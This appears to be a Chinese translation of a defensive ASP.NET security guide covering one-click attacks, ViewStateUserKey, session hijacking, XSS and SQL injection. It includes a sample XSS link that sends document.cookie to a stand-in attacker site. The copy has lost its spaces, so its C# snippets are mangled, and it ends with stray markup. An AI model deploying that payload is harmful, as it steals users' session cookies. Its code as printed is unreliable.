如果您正在閱讀本文,可能就不需要再向您灌輸web應用程式中的安全性愈來愈重要這一事實了。您需要的可能是一些有關如何在asp.net應用程式中實作安全性的實際建議。壞消息是,沒有任何開發平台—包括asp.net在内—能夠保證一旦采用了該平台,您就能夠編寫百分百安全的代碼。誰要是這麼說,一準在撒謊。好消息是,就asp.net來說,asp.net,特别是版本1.1和即将發行的版本2.0,內建了一些便于使用的内置防禦屏障。
光是應用所有這些功能并不足以保護web應用程式,使其免受任何可能和可預見的攻擊。但是,如果與其他防禦技巧和安全政策相結合,内置的asp.net功能将可以構成一個強大的工具包,有助于確定應用程式在安全的環境中運作。
web安全性是各種因素的總和,是一種範圍遠超單個應用程式的政策的結果,這種政策涉及資料庫管理、網路配置,以及社會工程和phishing。
本文的目的在于說明asp.net開發人員為了将安全标準保持到合理的高度,所應始終堅持的做法。這也就是安全性最主要的内容:保持警惕,永不完全放松,讓壞人越來越難以發起黑客攻擊。
下面我們來看看asp.net提供了哪些可以簡化這項工作的功能。
攻擊的可能發起人
回顯到頁的不可信使用者輸入
sql注入
串連使用者輸入以形成sql指令
會話劫持
會話id猜測和失竊的會話idcookie
一次單擊
通過腳本發送的未被察覺的http張貼
隐藏域篡改
未檢查(且受信)的隐藏域被填充以敏感資料
<b>表1.常見的web攻擊</b>
清單中顯現出來的關鍵性事實有哪些?在我看來,起碼有以下三點:
無論您何時将何種使用者輸入插入浏覽器的标記中,您都潛在地将自己暴露在了代碼注入攻擊(任何sql注入和xss變種)之下。
必須以安全的方式實作資料庫通路,就是說,應當為資料庫使用盡可能少的權限,并通過角色來劃分各個使用者的職責。
永遠都不通過網絡發送敏感資料(更别說是明文了),并且必須以安全的方式将敏感資料存儲在伺服器上。
有意思的是,上面的三點分别針對的是web安全性的三個不同方面,而這三個方面結合起來,才是唯一的一種生成防攻擊、防篡改應用程式的合理方式。web安全性的各個層面可以總結如下:
編碼實踐:資料驗證、類型和緩沖區長度檢查,防篡改措施
資料通路政策:使用決策來保護可能最弱的帳戶,使用存儲過程或者至少是參數化的指令。
有效的存儲和管理:不将關鍵性資料發送到用戶端,使用哈希代碼來檢測操作,對使用者進行身份驗證并保護辨別,應用嚴格的密碼政策
如您所看到的,隻有可以通過開發人員、架構師和管理者的共同努力,才可以産生安全的應用程式。請不要假定您能夠以其他方式達到同樣目的。
編寫asp.net應用程式時,您并不是獨自面對黑客大軍:唯一的武器是通過自己的大腦、技能和手指鍵入的代碼行。asp.net1.1和更高版本都會施加援手,它們具有一些特定的功能,可以自動提高防禦以上列出的某些威脅的屏障。下面我們對它們進行詳細的檢視。
viewstateuserkey
從asp.net1.1開始引入,<b>viewstateuserkey</b>是<b>page</b>類的一個字元串屬性,隻有很少數開發人員真正熟悉該屬性。為什麼呢?讓我們看看文檔中是怎麼說的。
在與目前頁相關聯的視圖狀态變量中将一個辨別符配置設定給單個使用者
除了有些累贅,這個句子的意思相當清楚;但是,您能老老實實地告訴我,它說明了該屬性原本的用途嗎?要了解<b>viewstateuserkey</b>的角色,您需要繼續往下讀,直到remarks部分。
該屬性有助于防止一次單擊攻擊,因為它提供了附加的輸入以建立防止視圖狀态被篡改的哈希值。換句話說,<b>viewstateuserkey</b>使得黑客使用用戶端視圖狀态的内容來準備針對站點的惡意張貼困難了許多。可以為該屬性配置設定任何非空的字元串,但最好是會話id或使用者的id。為了更好地了解這個屬性的重要性,下面我們簡短介紹一下<b>一次單擊</b>攻擊的基本知識。
一次單擊攻擊包括将惡意的http表單張貼到已知的、易受攻擊的web站點。之是以稱為“一次單擊”,是因為它通常是以受害者不經意的單擊通過電子郵件發送的或者在擁擠的論壇中浏覽時發現的誘惑性連結而開始的。通過點選該連結,使用者無意中觸發了一個遠端程序,最終導緻将惡意的<form>送出到一個站點。大家都坦白些吧:您真能告訴我,您從未因為好奇而單擊過clickheretowin$1,000,000這樣的連結嗎?顯然,并沒有什麼糟糕的事情發生在您身上。讓我們假定的确是這樣的;您能說web社群中的所有其他人都幸免于難了嗎?誰知道呢。
要想成功,一次單擊攻擊需要特定的背景條件:
攻擊者必須充分了解該有漏洞的站點。這是可能的,因為攻擊者可以“勤奮地”研究該檔案,或者他/她是一位憤怒的内部人員(例如,被解雇而又不誠實的雇員)。是以,這種攻擊的後果可能是極其嚴重的。
站點必須是使用cookie(如果是持續性cookie,效果更好)來實作單次登入,而攻擊者曾經收到過有效的身份驗證cookie。
該站點的某些使用者進行了敏感的事務。
攻擊者必須能夠通路目标頁。
前已提及,攻擊包括将惡意的http表單送出到等待表單的頁。可以推知,該頁将使用張貼來的資料執行某些敏感操作。可想而知,攻擊者清楚地了解如何使用各個域,并可以想出一些虛假的值來達到他的目的。這通常是目标特定的攻擊,而且由于它所建立的三角關系,很難追本溯源—即黑客誘使受害者單擊該黑客站點上的一個連結,而這又會導緻惡意代碼被張貼到第三個站點。(請參閱圖1。)
<b>圖1.一次單擊攻擊</b>
為什麼是不抱懷疑的受害者?這是因為,這種情況下,伺服器日志中所顯示的發出惡意請求的ip位址,是該受害者的ip位址。如前所述,這種工具并不像“經典”的xss一樣常見(和易于發起);但是,它的性質決定了它的後果可能是災難性。如何應對它?下面,我們審視一下這種攻擊在asp.net環境下的工作機理。
除非操作編碼在<b>page_load</b>事件中,否則asp.net頁根本不可能在回發事件之外執行敏感代碼。要使回發事件發生,視圖狀态域是必需的。請牢記,asp.net會檢查請求的回發狀态,并根據是否存在_viewstate輸入域,相應地設定<b>ispostback</b>。是以,無論誰要向asp.net頁發送虛假請求,都必須提供一個有效的視圖狀态域。
一次單擊攻擊要想得手,黑客必須能夠通路該頁。此時,有遠見的黑客會在本地儲存該頁。這樣,他/她就可以通路_viewstate域并使用該域,用舊的視圖狀态和其他域中的惡意值建立請求。問題是,這能行嗎?
為什麼不能?如果攻擊者可以提供有效的身份驗證cookie,黑客就可以進入,請求将被照常處理。伺服器上根本不會檢查視圖狀态内容(當<b>enableviewstatamac</b>為off時),或者隻會檢查是否被篡改過。預設情況下,試圖狀态中沒有機制可以将該内容與特定的使用者關聯起來。攻擊者可以輕松地重用所擷取的視圖狀态,冒充另一個使用者合法地通路該頁,以生成虛假請求。這正是<b>viewstateuserkey</b>介入的地方。
如果選擇準确,該屬性可以将使用者特定的資訊添加到視圖狀态。處理請求時,asp.net會從視圖狀态中提取秘鑰,并将其與正在運作的頁的<b>viewstateuserkey</b>進行比較。如果兩者比對,請求将被認為是合法的;否則将引發異常。對于該屬性,什麼值是有效的?
為所有使用者将<b>viewstateuserkey</b>設定為常量字元串,相當于将它保留為空。您必須将它設定為對各個使用者都不同的值—使用者id,會話id更好些。由于一些技術和社會原因,會話id更為合适,因為會話id不可預測,會逾時失效,并且對于每個使用者都是不同的。
以下是一些在您的所有頁中都必不可少的代碼:
voidpage_init(objectsender,eventargse){viewstateuserkey=session.sessionid;:}
為了避免重複編寫這些代碼,您可以将它們固定在從<b>page</b>派生的類的<b>oninit</b>虛拟方法中。(請注意,您必須在<b>page.init</b>事件中設定此屬性。)
protectedoverrideoninit(eventargse){base.oninit(e);viewstateuserkey=session.sessionid;}
總體說來,使用基page類始終都不失為一件好事,我在buildyourasp.netpagesonaricherbedrock一文中已經進行了說明。如果您要了解更多有關一次單擊攻擊者的伎倆的資訊,可以在aspnetpro.com找到一篇非常好的文章。
cookie還被用于檢索特定使用者的會話狀态。會話的id被存儲到cookie中,該cookie與請求一起來回傳送,存儲在浏覽器的計算機上。同樣,如果失竊,會話cookie将可被用來使黑客進入系統并通路别人的會話狀态。不用說,隻要指定的會話處于活動狀态(通常不超20分鐘),這就有可能發生。通過冒充的會話狀态發起的攻擊稱為會話劫持。有關會話劫持的詳細資訊,請閱讀theftontheweb:preventsessionhijacking。
這種攻擊有多危險?很難講。這要取決于web站點的功能,更為重要的是,該站點的頁是如何設計的。例如,假定您能夠獲得别人的會話cookie,并将它附加到對站點上某個頁的請求中。您加載該頁并逐漸研究它的普通使用者界面。除了該頁使用另一個使用者的會話狀态工作外,您無法将任何代碼注入該頁,也無法修改該頁中的任何内容。這本身并不太壞,但是如果該會話中的資訊是敏感和關鍵性的,就有可能直接導緻黑客成功實作利用。黑客無法滲透到會話存儲的内容中,但他可以使用其中存儲的資訊,就像自己是合法進入的一樣。例如,假定有這樣一個電子商務應用程式,它的使用者在浏覽站點時将物品添加到購物車中。
<b>方案1。</b>購物車的内容存儲在會話狀态中。但是,在結帳時,使用者被要求通過安全的ssl連接配接确認和輸入付款詳細資訊。這種情況下,通過接入其他使用者的會話狀态,黑客僅可以了解到一些有關受害者的購物喜好的細節。在這種環境下劫持實際上并不會導緻任何損害。受威脅的隻是保密性。
<b>方案2。</b>應用程式為每位注冊使用者處理一份檔案,并将檔案儲存在會話狀态中。糟糕的是,檔案中(可能)包括信用卡資訊。為什麼要将使用者檔案詳細資訊存儲到會話中?可能應用程式的其中一個目标是,從根本上避免使使用者不得不重複鍵入自己的信用卡和銀行資訊。是以,在結算時,應用程式會将使用者定位到一個具有預先填充的域的頁。而有失謹慎的是,這些域的其中一個是從會話狀态中擷取的信用卡号。現在您可以猜到故事的結局了嗎?
應用程式的頁的設計,是防止會話劫持攻擊的關鍵所在。當然,還有兩點沒有理清。第一點是,如何防止cookie盜竊?第二點是,asp.net可以如何檢測和阻止劫持?
asp.net會話cookie極其簡單,僅限于包含會話id字元串本身。asp.net運作庫從cookie中提取會話id,并将其與活動的會話進行比較。如果id有效,asp.net将連接配接到對應的會話并繼續。這種行為極大地友善了已經偷到或者可以猜出有效的會話id的黑客。
xss和中間人(man-in-the-middle)攻擊以及對用戶端pc的強力通路,都是擷取有效cookie的方法。為了防止盜竊,您應當實作安全最佳實踐來防止xss及其各變種得手。
而為了防止會話id猜測,您應當幹脆避免太高估計自己的技能。猜測會話id意味着您知道如何預測有效的會話id字元串。對于asp.net所使用的算法(15個随機數字,映射為啟用url的字元),随機猜測到有效id的機率接近于零。我想不到任何理由來用自己的會話id生成器替換預設的會話id生成器。許多情況下,這麼做隻會為攻擊者提供友善。
會話劫持更為糟糕的後果是一旦cookie被盜或者被猜出,asp.net并沒有什麼辦法來檢測欺詐性的cookie使用。同樣,原因是asp.net将自己限制為檢查id的有效性,以及cookie的來源地。
我在wintellect的朋友jeffprosise為msdnmagazine寫了一篇很好的關于會話劫持的文章。他的結論并不令人安慰:幾乎不可能建立能夠完全抵禦依靠偷來的會話idcookie所發起的攻擊的防禦工事。但是他開發的代碼為進一步提升安全标準提供了非常明智的建議。jeff建立了一個http子產品,該子產品為會話idcookie監視傳入的請求和傳出的響應。該子產品将一條哈希代碼附加到會話id之後,使攻擊者重用cookie更為困難。您可以在此處閱讀詳情。
<b>圖2.啟用enableviewstatemac時,使視圖狀态本身難以篡改的因素</b>
啟用了mac檢查時(預設情況),将對序列化的視圖狀态附加一個哈希值,該值是使用某些伺服器端值和視圖狀态使用者秘鑰(如果有)生成的。回發視圖狀态時,将使用新的伺服器端值重新計算該哈希值,并将其與存儲的值進行比較。如果兩者比對,則允許請求;否則将引發異常。即使假設黑客具有破解和重新生成視圖狀态的能力,他/她仍需要知道伺服器存儲的值才可以得出有效的哈希。具體說來,該黑客需要知道machine.config的<<b>machinekey</b>>項中引用的計算機秘鑰。
預設情況下,項是自動生成的,以實體方式存儲在windows<b>localsecurityauthority</b>(lsa)中。僅在web場(此時視圖狀态的計算機秘鑰必須在所有的計算機上都相同)的情形下,您才應當在machine.config檔案中将其指定為明文。
視圖狀态mac檢查是通過一個名為<b>enableviewstatemac</b>的<b>@page</b>指令屬性控制的。如前所述,預設情況下,它被設定為true。請永遠不要禁用它;否則将會使視圖狀态篡改一次單擊攻擊成為可能,并具有很高的成功機率。
cross-sitescriptingoverview中詳細閱讀有關xss攻擊的基礎知識。
代碼中的哪些漏洞導緻xss攻擊成為可能?
xss利用的是動态生成html頁、但并不驗證回顯到頁的輸入的web應用程式。這裡的輸入是指查詢字元串、cookie和表單域的内容。如果這些内容在未經适當性能檢查的情況下出現在網絡上,就存在黑客對其進行操作以在用戶端浏覽器中執行惡意腳本的風險。(前面提到的一次單擊攻擊其實是xss的一種新近變種。)典型的xss攻擊會導緻不抱懷疑的使用者點選一條誘惑性連結,而該連結中嵌入了轉義的腳本代碼。欺詐代碼将被發送到一個存在漏洞且會毫不懷疑地輸出它的頁。以下是可能發生的情況的一個示例:
<ahref="http://www.vulnerableserver.com/brokenpage.aspx?name=<script>document.location.replace('http://www.hackersite.com/hackerpage.aspx?cookie='+document.cookie);</script>">clicktoclaimyourprize</a>
使用者單擊一個看上去明顯安全的連結,最終導緻将一些腳本代碼傳遞到存在漏洞的頁,這些代碼首先擷取使用者計算機上的所有cookie,然後将它們發送到黑客的web站點。
請務必注意,xss不是一個特定于供應商的問題,是以并不一定會利用internetexplorer中的漏洞。它影響目前市場上的所有web伺服器和浏覽器。更應注意的是,沒有哪一個修補程式能夠修複這一問題。您完全可以保護自己的頁免受xss攻擊,方法是應用特定的措施和合理的編碼實踐。此外,請注意,攻擊者并不需要使用者單擊連結就可以發起攻擊。
要防禦xss,您必須從根本上确定哪些輸入是有效的,然後拒絕所有其他輸入。您可以在一本書中讀到抵禦xss攻擊的詳細檢查表,該書在microsoft屬于必讀範圍—writingsecurecode,作者是michaelhoward和davidleblanc。特别地,我建議您仔細閱讀第13章。
阻止陰險的xss攻擊的主要方法是向您的輸入(任何類型的輸入資料)添加一個設計合理、有效的驗證層。例如,某些情況下即使是原本無害的顔色(rgb三色)也會将不受控制的腳本直接帶入頁中。
在asp.net1.1中,<b>@page</b>指令上的<b>validaterequest</b>屬性被打開後,将檢查以确定使用者沒有在查詢字元串、cookie或表單域中發送有潛在危險性的html标記。如果檢測到這種情況,将引發異常并中止該請求。該屬性預設情況下是打開的;您無需進行任何操作就可以得到保護。如果您想允許html标記通過,必須主動禁用該屬性。
<%@pagevalidaterequest="false"%>
<b>validaterequest</b>不是萬能的藥方,無法替代有效的驗證層。請閱讀此處以擷取大量有關該功能的基礎原理的寶貴資訊。它基本上通過應用一個正規表達式來捕獲一些可能有害的序列。
<b>注validaterequest</b>功能原本是有缺陷的,是以您需要應用一個修補程式它才能按預期工作。這樣的重要資訊常常不為人們所注意。奇怪的是,我發現我的其中一台計算機仍受該缺陷的影響。試試看!
沒有任何關閉<b>validaterequest</b>的理由。您可以禁用它,但必須有非常好的理由;其中一條這樣的理由可能是使用者需要能夠将某些html張貼到站點,以便得到更好的格式設定選項。這種情況下,您應當限制所允許的html标記(<b><pre></b>、<b><b></b>、<b><i></b>、<b><p></b>、<b><br></b>、<b><hr></b>)的數目,并編寫一個正規表達式,以確定不會允許或接受任何其他内容。
以下是一些有助于防止asp.net遭受xss攻擊的其他提示:
使用<b>httputility.htmlencode</b>将危險的符号轉換為它們的html表示形式。
使用雙引号而不是單引号,這是因為html編碼僅轉義雙引号。
強制一個代碼頁以限制可以使用的字元數。
總之,使用但是不要完全信任<b>validaterequest</b>屬性,不要太過懶惰。花些時間,從根本上了解xss這樣的安全威脅,并規劃以一個關鍵點為中心的防禦政策:所有的使用者輸入都是危險的。
此處了解更多有關sql注入的資訊。
要阻止sql注入攻擊,有許多方法。以下介紹最常見的技巧。
確定使用者輸入屬于适當的類型,并遵循預期的模式(郵政編碼、身份證号,電子郵件等)。如果預期來自文本框的數字,請在使用者輸入無法轉換為數字的内容時阻止該請求。
使用參數化的查詢,使用存儲過程更好。
使用sqlserver權限來限制各個使用者可以對資料庫執行的操作。例如,您可能需要禁用xp_cmdshell或者将該操作的權限僅限于管理者。
如果使用存儲過程,可以顯著降低發生這種攻擊的可能性。實際上,有了存儲過程,您就無需動态地撰寫sql字元串。此外,sqlserver中将驗證所有參數是否具有指定的類型。雖然光是這些并不是百分百安全的技巧,但是加上驗證的話,将足以提高安全性。
更為重要的是,應確定隻有經過授權的使用者才能夠執行可能具有嚴重後果的操作,如删除表。這要求認真仔細地設計應用程式的中間層。好的技巧(不光是為了安全性)應把焦點集中在角色上。應當将使用者分組為各種角色,并為各個角色定義一個包含一組最少的權限的帳戶。
幾周前,wintellectweb站點受到一種很複雜的sql注入的攻擊。那位黑客試圖建立并啟動一個ftp腳本來下載下傳一個可能是惡意的可執行程式。幸運的是,這次攻擊失敗了。或者,其實是強使用者驗證,使用存儲過程和使用sqlserver權限,導緻了攻擊未能成功?
總而言之,您應當遵循這些指南,以避免被注入有害的sql代碼:
使用盡可能少的權限運作,永遠不以“sa”身份執行代碼。
将通路限制給内置的存儲過程。
首選使用sql參數化查詢。
不通過字元串串連來生成語句,不回顯資料庫錯誤。
dotnet2themaxweb站點獲得該元件的全部源代碼。
="border-right:#cccccc1pxsolid">="border-right:#cccccc1pxsolid">="border-right:#cccccc1pxsolid">="border-right:#cccccc1pxsolid">="border-right:#cccccc1pxsolid">